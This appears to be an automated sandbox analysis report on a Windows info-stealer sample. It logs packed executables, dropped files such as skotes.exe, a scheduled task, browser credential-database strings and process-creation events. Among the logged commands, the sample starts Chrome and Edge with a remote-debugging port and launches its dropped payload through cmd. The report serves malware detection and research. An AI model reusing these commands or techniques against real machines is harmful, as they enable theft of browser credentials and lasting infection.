Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.6:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.19:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49896 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name:
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C95F280

Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9535A0	0_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966C80	0_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B34A0	0_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BC4A0	0_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4D0	0_2_6C97D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9664C0	0_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996CF0	0_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4E0	0_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995C10	0_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2C10	0_2_6C9A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CAC00	0_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C542B	0_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C545C	0_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965440	0_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990DD0	0_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B85F0	0_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97ED10	0_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C980512	0_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FD00	0_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975E90	0_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE680	0_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4EA0	0_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95BEF0	0_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FEF0	0_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C76E3	0_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997E10	0_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5600	0_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9E30	0_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979E50	0_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C993E50	0_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2E4E	0_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C974640	0_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C670	0_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C6E63	0_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A77A0	0_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986FF0	0_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95DFE0	0_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997710	0_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969F00	0_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9860A0	0_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C50C7	0_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C0E0	0_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9958E0	0_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C967810	0_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B820	0_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4820	0_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978850	0_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D850	0_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99F070	0_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995190	0_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2990	0_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D9B0	0_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C9A0	0_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97A940	0_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB970	0_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB170	0_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D960	0_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CBA90	0_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96CAB0	0_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2AB0	0_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9522A0	0_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984AA0	0_2_6C984AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998AC0	0_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C971AF0	0_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E2F0	0_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999A60	0_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F380	0_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C53C8	0_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D320	0_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955340	0_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C370	0_2_6C96C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0029763E	28_1_0029763E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0023E9DD	28_1_0023E9DD
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00218860	34_2_00218860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00217049	34_2_00217049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_002178BB	34_2_002178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00212D10	34_2_00212D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_002131A8	34_2_002131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_001D4DE0	34_2_001D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00207F36	34_2_00207F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_001D4B30	34_2_001D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_0021779B	34_2_0021779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times

Source: nbea1t8.exe.34.dr	Static PE information: No import functions for PE file found
Source: nbea1t8[1].exe.34.dr	Static PE information: No import functions for PE file found

Source: nbea1t8.exe.34.dr	Static PE information: Data appended to the last section found
Source: nbea1t8[1].exe.34.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2783643002.000000006CBD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: fsczkwli ZLIB complexity 0.9948506846081209
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982544277929155
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: Section: ckxzyosv ZLIB complexity 0.9944479182516738
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982544277929155
Source: random[1].exe.0.dr	Static PE information: Section: ckxzyosv ZLIB complexity 0.9944479182516738
Source: skotes.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9982544277929155
Source: skotes.exe.26.dr	Static PE information: Section: ckxzyosv ZLIB complexity 0.9944479182516738

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/288@23/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\06VODVND.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7216:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\356e6c16-8b5f-4a74-b99f-d6bf928d4a4c.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781874209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781874209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781874209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781874209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781874209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781874209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781874209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2386072919.000000001DA19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2475297531.000000001DA0D000.00000004.00000020.00020000.00000000.sdmp, IJJJKEGHJKFHJKFHDHCF.0.dr, DGCAAFBFBKFIDGDHJDBK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781874209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781874209.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsIIJKJDAFHJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2516,i,4653955060801364549,16238247889288816033,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2208,i,5111306584062863557,2767766630891137064,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6016 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6016 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6860 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7020 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIJKJDAFHJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIIJKJDAFHJ.exe "C:\Users\user\DocumentsIIJKJDAFHJ.exe"
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7116 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIJKJDAFHJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2516,i,4653955060801364549,16238247889288816033,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2208,i,5111306584062863557,2767766630891137064,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
